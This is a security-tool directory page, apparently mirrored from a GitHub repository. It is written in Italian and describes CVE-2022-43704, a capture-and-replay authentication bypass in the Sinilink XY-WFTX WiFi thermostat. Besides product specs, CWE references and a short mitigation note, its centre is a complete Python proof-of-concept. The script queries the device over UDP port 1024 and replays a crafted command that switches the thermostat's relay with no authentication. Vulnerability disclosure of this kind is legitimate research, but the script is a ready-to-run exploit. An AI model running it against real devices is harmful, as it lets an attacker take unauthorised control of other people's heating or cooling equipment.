Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX Modulo Termostato Remoto Wi-Fi Controllore di Temperatura | Kitploit
Strumenti/GitHubGitHub/9lyph/cve-2022-43704
Autenticazione e AutorizzazioneSicurezza Sistemi EmbeddedSniffing e Analisi dei PacchettiRicognizioneSicurezza IoTAnalisi delle VulnerabilitàExploitSicurezza WirelessPenetration TestingSicurezza Hardware e IoT
GitHub
521 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
9lyph/cve-2022-43704

CVE-2022-43704

Sinilink XY-WFTX Modulo Termostato Remoto Wi-Fi Controllore di Temperatura

Vedi Repository

CVE-2022-43704 - Canale accessibile da non endpoint/Bypass dell'autenticazione tramite cattura e replay

Sinilink XY-WFTX Modulo termostato WiFi remoto controller di temperatura

Titolo

sinilink

Documentazione del prodotto

  • Applicazione

  • Manuale utente

Hardware

Schede tecniche

ESP8285

Buck Converter

Firmware

Descrizione del prodotto

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

Riferimenti

MITRE

[Exploit-DB]

Produttore

Sinilink.com

Ricerca

  • Il prodotto utilizza websocket per configurare comunicazioni verso ws://mq.sinilink.com:8085/mqtt.
  • Questo endpoint viene utilizzato come broker MQTT e non è autenticato.

Mappa della superficie d'attacco

Risultato

Canale accessibile da non endpoint

  • Il termostato WiFi remoto Sinilink, con firmware V1.3.6, consente a un attaccante di bypassare il requisito previsto di comunicare tramite MQTT, ma invece è possibile riprodurre comandi del protocollo Sinilink interfacciandosi direttamente con il dispositivo target. Ciò consente a sua volta un attacco per controllare il relè di bordo senza richiedere l'autenticazione tramite l'applicazione mobile.
  • Il dispositivo target deve essere in 'Modalità Manuale' con 'Accensione, Spegnimento' come prerequisito.

Configurazione prerequisiti

Vulnerabilità di debolezza

  • CWE-300: Canale accessibile da non endpoint
  • CWE-294: Bypass dell'autenticazione tramite cattura e replay

Configurazioni software note affette

  • V1.3.6

Codice POC

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Passaggi di mitigazione

  • Verificare adeguatamente l'identità delle entità a ciascuna estremità del canale di comunicazione. Una verifica inadeguata o incoerente può comportare un'identificazione insufficiente o errata di una delle entità comunicanti. Ciò può avere conseguenze negative come la fiducia mal riposta nell'entità all'altra estremità del canale. Un attaccante può sfruttare questo interponendosi tra le entità comunicanti e mascherandosi come entità originale. In assenza di una verifica sufficiente dell'identità, tale attaccante può intercettare e potenzialmente modificare la comunicazione tra le entità originali.

Pwnage

Scopritore/Crediti:

Victor Hanna di Exploit Security

Seguimi su

Mastodon Linkedin Youtube

Scarica lo strumento